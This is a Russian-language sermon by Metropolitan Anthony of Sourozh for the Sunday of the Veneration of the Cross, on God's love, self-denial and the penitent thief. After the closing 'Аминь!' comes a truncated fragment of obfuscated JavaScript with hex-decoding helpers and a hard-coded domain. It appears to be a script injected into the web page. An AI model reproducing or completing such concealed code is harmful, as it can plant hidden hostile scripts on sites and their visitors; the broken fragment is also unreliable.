Св. Крест остается для поклонения в течение недели до пятницы, когда он перед Литургией вносится обратно в алтарь. Поэтому третье воскресенье и четвертая седмица Великого поста называются “крестопоклонными”. Начало традиции поклонения Кресту Господню было положено во времена первых христиан.

Проповедь в неделю Крестопоклонную.
Митрополит Антоний Сурожский

Источник: Библиотека “Митрополит Сурожский
Антоний”

Во имя Отца и Сына и Святого Духа.

Четыре раза в году празднуем мы, поклоняемся мы животворящему и страшному
Кресту Господню. Один раз – во время Страстной Седмицы, когда, читая Евангелия
Страстей, мы видим, как возвышается перед нами святое Распятие, Крест, на
котором умер Господь с тем, чтобы мы получили новую жизнь. Второй раз празднуем
мы день Воздвижения Креста Господня, когда мы вспоминаем о том, как Крест был
найден и как люди, впервые после свыше трех столетий, могли видеть тот Крест, на
котором умер Господь, прикоснуться ему, как святыне, облобызать его с трепетом и
любовью. Празднуем мы также и происхождение Честных Древ, когда этот же Крест,
вернее, небольшая его частица, обносимая в зараженном смертной заразой
Константинополе, вернула город к здравию, к жизни, к надежде, и обновила веру в
Крест, в милость и любовь Господню. И сегодня, в середине Поста, поклоняемся мы
живоносному Господню Кресту.

Каждый из этих праздников несет на себе печать того времени или того смысла,
с которым он совершается. Мы с ужасом предстоим перед Распятием в Великий
Четверг, мы с изумлением и благодарностью, ликующе совершаем Воздвижение и
Происхождение Честных Древ. С каким же чувством приступаем мы сегодня к
поклонению Кресту Господню?

Это поклонение совершается на полпути между началом Поста и Страстной
седмицей. О чем говорит нам этот Крест? Весь этот период времени говорит нам о
том, как Божественная благодать, Божественная любовь, Божественная сила может
претворить каждого из нас, освятить каждого из нас, каждому дать новую жизнь,
вечную жизнь, как это случилось с тысячами и тысячами, миллионами людей до нас,
святыми прославленными и святыми нам неизвестными. Крест говорит нам теперь о
безмерной, об изумительной любви Божией. Ведь Бог стал человеком и принял на
Себя смерть по любви к нам, чтобы Его смертью мы были спасены от отчаяния греха
и от отчаяния смерти. Он все человеческое взял на Себя, кроме греха, и все понес
на хрупких и могучих Своих человеческих плечах. Крест нам говорит о том, что мы
Богом так любимы, что Господь готов умереть, только бы мы жили, только бы мы
ожили от смерти греховной. Будучи так любимыми, разве мы не можем в эти дни
Поста, весны духовной, действительно радоваться и ликовать? Мы можем, и поэтому
вчера на каноне пелся – не с такою славою, как будет петься в пасхальную ночь,
но с тихой, ликующей надеждой – пасхальный канон о Воскресении Господнем. Это
жизнь, это не смерть. Крест нам явлен сейчас как надежда, как уверенность в
Божией любви и в Его победе, как уверенность в том, что мы так любимы, что все
возможно, что мы можем надеяться на все. Как это дивно: знать, что мы Богу так
дороги!

Но Крест нам говорит собой и евангельским чтением и о другом. Он говорит, что
для того, чтобы жить этой жизнью, этой жизнью новой, этой жизнью вечной, Божией
собственной жизнью, надо все пересмотреть. В Евангелии есть слова, обращенные
Христом к нам: “Если кто хочет по Мне идти, да отвержется себе, да возьмет крест
свой, и да грядет по Мне”. Если кто хочет идти за Мной в вечность, в торжество
жизни, в царство любви, он должен последовать за Мной уже теперь, на земле. А
последовать за Христом, это значит вступить в новую жизнь, в жизнь, где Бог и
мой ближний мне дороже собственной жизни, дороже себя самого. Начинается это с
того, что, поняв драгоценность Бога и драгоценность моего ближнего, я
действительно от себя могу отвернуться, себя отвергнуть, отбросить, сказав себе:
сойди с моего пути, не о тебе моя забота, есть вещи более святые, более
прекрасные, чем я сам.

И сказав это, мы берем на себя постепенное умирание, постепенное отвержение
себя. Отречение от себя значит, в последнем итоге, научиться любить, а любить,
это значит себя забыть до конца, не существовать для себя. Это и значит умереть
для того, чтобы жить уже иной жизнью, которой границ нет, глубина которой
бездонна. А крест, который мы должны нести, это любовь, забота о ближнем,
тревога о нем, озабоченность о том, чтобы и в его жизни совершилась Божия воля,
т.е. чтобы к нему тоже пришла вечная жизнь, вечная радость, ликование и
торжество.

И еще об одном говорит нам Крест: о том, что все земные, обычные наши,
привычные оценки ложны. Во вчерашней службе читался отрывок, молитва, где
говорится о том, что Христос был распят между двумя разбойниками. Вы помните,
как один из разбойников Его поносил, а другой, глядя на Его умирание, зная, кто
умирает, т.е. невинный человек, как он Его тогда видел, обратился к Нему с
мольбой о спасении. Первый, видя, как человеческая неправда засудила на смерть
невинного, отверг всякий человеческий суд, всякую ложную человеческую
справедливость, и возмутился духом, взбунтовался до конца, и стал хулить и
Самого Бога, Который такую неправду может допустить. А другой, видя, что и
Невинный погибает, понял, что он осужден справедливо, что если и невинный может
погибнуть, то конечно, виновному достоит наказание и смерть. И он обратился к
этому Невинному, и молил его о милости и спасении; и это спасение, эту милость
Бог ему обещал – и даровал. Действительно, поистине, кающийся разбойник в тот же
день оказался со своим Спасителем в раю.

Вот о чем нам говорит Крест, вот почему мы можем сегодня поклоняться этому
Кресту на полпути к Пасхе не с израненной душой, не с ужасом, а с такой светлой
надеждой. Но, вместе с этим, почему мы должны последние недели Поста провести
вдумчиво, пересмотреть жизнь еще раз, новый суд произнести над всеми ценностями
нашими, над всеми наши оценками, и вступить в евангельский путь. Чтобы, когда мы
станем в Страстные дни перед ужасом крестных Страстей, мы могли вместе со
Христом пройти этот путь, а не быть только зрителями, охваченными ужасом, и
могли быть с Ним в ликовании победы и в ужасе поклонения такой непостижимой
Божественной любви. Аминь!

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "paraskeva.cerkov.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e